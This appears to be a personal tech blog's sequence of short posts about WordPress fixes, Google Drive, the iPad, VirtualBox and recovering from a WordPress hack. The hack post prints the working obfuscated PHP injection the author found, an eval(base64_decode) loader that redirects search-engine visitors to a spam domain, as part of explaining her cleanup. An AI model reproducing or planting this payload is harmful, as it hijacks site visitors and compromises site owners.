Here’s the three videos I did today:

I’m happy to report that has monumentally changed within the past 24 hours. This year for commencement we decided to do flip cam videos of the graduates immediately following our largest ceremonies. We’ve got two big ceremonies tomorrow, but so far, I’ve edited three flip cam movies. Yesterday, I learned how to use Adobe Premiere. And then I edited a video. Today, I edited two videos. They’re obviously not the next Avatar or anything, but I’m pretty proud.

Enjoy!

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Boo.

Did lots of googling and discovered a fix that solved my permissions problem.

I changed table prefixes post-WordPress-installation (to match the SQL export), and I discovered there are a few values that are important to change in addition to the table prefixes.

Here are the additional values that must be changed:

In the

usermeta

table, there are several meta_keys:

prefix_capabilities
prefix_dashboard_quick_press_last_post_id
prefix_user-settings
prefix_user-settings-time

In the

options

table, there is a critical option_name that needs to be changed:

prefix_user_roles

Depending on your install and plugins, there may be more. For me, this has fixed it. Will post again if it’s not enough.

Google Drive functions just like DropBox does (icon in the top toolbar, folder in Places), which is EXCELLENT. I’ve tried to get into the Amazon cloud storage, and we do have some stuff up there, but the DropBox integration on my desktop/laptop is what stole the show for me. Once I saw the Google Drive did that, I was sold.

The icing on the cake is that the second I installed Google Drive, it automatically synced ALL of my Google Docs.

It truly is the small things that make life glossy.

It always drives me batty when I want to put some PHP code in my posts and WordPress mildly freaks out. To prevent the freaking out, encode your entities. Here are the really common ones:

< = &lt;
> = &gt;
/ = &#47;
] = &#93;
[ = &#91;
" = &#34;
' = &#39;

I started troubleshooting this problem by googling the keywords to all the websites I host. For every WordPress website that I hosted, the google search links were hijacked and redirected to spam sites. For any static HTML pages that I hosted, the google search links took me to the correct website.

This told me that every single one of my WordPress websites had been hacked and infected with a script. In fact, when troubleshooting, I discovered that not only was it the root level (home page) of the site, but all the sitelinks (the sub links shown underneath the main search result) had been infected as well. To me, this meant that the “virus” was at least in the header.php file of the WP install.

Coincidentally, I had just made the decision to switch hosting providers. I have been with BlueHost since June 2009 and honestly have never had any negative experiences. Within the past year, my work had a hugely negative experience with BlueHost. Long story short, all of our websites hosted with them vanished into the aether. This included all of our WordPress installs and our web team’s wiki. Their response to our troubleticket was something along the lines of something blew up, nothing we can do, surely you understand. Fortunately, we do not understand and we do understand that rolling us to a backup is a reasonable expectation that they failed to see or execute. This experience terrifies me since I provide hosting for freelance clients. If their websites vanished one day with NO BACKUP, well… I’d be f’ed. As a consequence of this experience, I waited until my BlueHost hosting plan was close to expiration and then bought new hosting with DreamHost (recommended to me by a few coworkers).

Back to the hacked WordPress sites. I deduced that at the very least my header.php files were hacked, and they likely became that way because of a lack of security with my hosting provider as well as very slightly out of date WordPress installations. I needed to check my WP files on the server and then migrate all my domains and hosting off of BlueHost.

Saturday morning I checked my WP files. I began by checking index.php at the root level of the install and then in the wp-content subdirectories. EVERY SINGLE opening PHP tag was followed by this nastiness:

<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZ2lnb3AuYW1lcmljYW51bmZpbmlzaGVkLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); ?>

Then, I checked my header.php file. EVERY SINGLE PHP tag was followed with this code. Literally every time my WP theme opens PHP to use a WP template tag, nasty infection virus code. Literally, metadata, keywords, title, everything, everything.

Obviously I’d been googling to troubleshoot this problem. All the google results were forums, blogs, discussion groups, etc talking about Norton, McAfee, Spider-something, and all other anti-virus software. Well it was obvious to me that the problem was not on my machine (I tested on my work Mac Pro, my home MacBook Pro, and my iPad) but on my server area. My wise husband said, “Hun, put ‘Mac’ on the end of your search.” Goodness sakes that was silly of me. Bam, I throw ‘Mac’ on the end of my search and all of a sudden I see the forums saying that it’s a server problem. That brilliant idea spurred another brilliant idea. I google the nasty infection code (shown above). Looky what I found:
http://www.cameronkeng.com/2012/04/04/guess-who-got-hacked-again-awesome-but-i-can-fix-it-perm/
Another poor soul whose WordPress site got hacked. He explains his solution to the problem here.

The bare bones “non-technical” solution that I thought of is to export your WP data to xml then re-import the data on a fresh WordPress installation. The probability of this solution working was confirmed by the link above. A few caveats or things to keep in mind…

• Change hosting providers, and if you can afford it, opt for private hosting (shared hosting is the cheapest and it’s where they put you on a box with other people). If it happened to you once, it will happen to you again. Hubby suggested that it could be someone else that’s on the same box as me infecting everyone on the box. So even if I deleted my WP installs & did a fresh install, it is possible that the files would get hacked all over again within minutes.
• Change your theme. All the installed themes are going to be infected too. Luckily I was running a child theme of 2011 and my child theme only had two php files with a small amount of customization. If you must keep the same theme, which I felt like I needed to, remove the virus code from the appropriate files, download locally, and zip up so you have a clean version of the theme you’re running.

The highly technical solution is to run a command line script on the server that finds all the files that have the virus code in them and duplicates all the files but without that code. Then it kills all the files that have the code. My command line juju is severely lacking and I’m terrified of that black box screen. This solution was mentioned in the two posts that guided me (linked above) and the actual script and nitty gritty details can be found here: http://tech.sarathdr.com/featured/wordpress-hacked-redirect-to-gigop-americanunfinished-com

I am ECSTATIC to report that downloading the XML export, downloading my child theme files, editing and then zipping my clean child theme files, changing hosting providers, doing a fresh WordPress install, uploading my XML, and reinstalling my clean child theme left me with a nearly perfect migration of my old website.

The only problem that I experienced is that some of my post images did not migrate over. What I did to work around that was download my entire

/uploads/

folder from my old site and then upload the entire

/uploads/

directory on my new server space. The image URLs within posts no longer returned 404s, woot woot! The only problem is that none of my [gallery] shortcodes work. I thought it was because the images are not linked to the post gallery, but my entire media library is empty. Frankly… I said eff it. Atleast all my data is here, my single images are here, my google search links take users to me, if I lose a few galleries… well that is a price that I am willing to pay.

I just got my iPad2 last August and I didn’t want to feel behind the game already.

From what I can tell, I’m really not missing out. Not to say that anyone else isn’t, but for how I use my iPad, I definitely don’t need the Retina display or the beefed up camera. And I’m 99% sure it’s packaged with all the same apps (messages + reminders, I don’t think I have this?), so I’m good on that too.

I must say though… Apple invested in some really nice hand models for their marketing imagery.

About the first week of December, I tried to upgrade my VirtualBox installation and it failed. I never could figure out what happened; I spent several days troubleshooting over the course of December and January. In the beginning of January, I was able to install a VERY old version  of VirtualBox (I think 3.1?) but then my installation of Windows 7 completely failed. I  gave up 3 weeks ago, and then found myself with a few slow hours this afternoon and decided to tackle it. Guess what? I SUCCEEDED!

This afternoon, I tried installing the latest version of VirtualBox (4.1.8) and it kept failing at the 95% mark of the installation. After some googling and forum reading, I discovered it possibly had something to do with an improper uninstall (this insight mainly came from this thread: https://www.virtualbox.org/ticket/1578 ).

From my 4.1.8 VirtualBox download, I ran the VirtualBox_Uninstall.tool. It opens up terminal, you have to type “Yes” and then it prompts you for your machine’s password. After that, it said something about kernels and can’t uninstall and rebooting (BTW, the only kernels I know about are the lovely extra crunchy popcorn kernels at the bottom of a popcorn bag). So I did a restart. When I was booted up again, I again opened the 4.1.8 VirtualBox download and ran VirtualBox_Uninstall.tool. This time, terminal ran a whole of 4 seconds and returned that it was completely uninstalled. WOOT!

I then double-clicked VirtualBox.mpkg and the installation succeeded!

Once the installation completed, I followed this screenshot tutorial for configuring the virtual machine. At 99% through the tutorial, I wasn’t able to figure out how to define where my Windows 7 ISO file, so then I followed this video tutorial for installing Windows 7. I was able to figure out where in the VirtualBox settings to define my Windows 7 ISO file in the first 2 minutes of the video.

My VirtualBox installation and Windows 7 installation WORKS LIKE A CHARM!

Looking back at the screenshot tutorial, after I watched the video tutorial, I see where I got lost. If I had looked a bit closer at the screenshot, I would’ve seen that the tutorial loads an ISO file.

Anyways, that doesn’t matter, what matters is that after my virtual machine going down the first week of December, I finally have it back!! WOO HOOO!!!!!

This makes for a Great Monday.

PS, In case you’re wondering… my work machine is a Mac OS X 10.6.8 (Snow Leopard), and I got VirtualBox 4.1.8 installed and it runs Windows 7 64-bit.

http://www.kipp.org/brand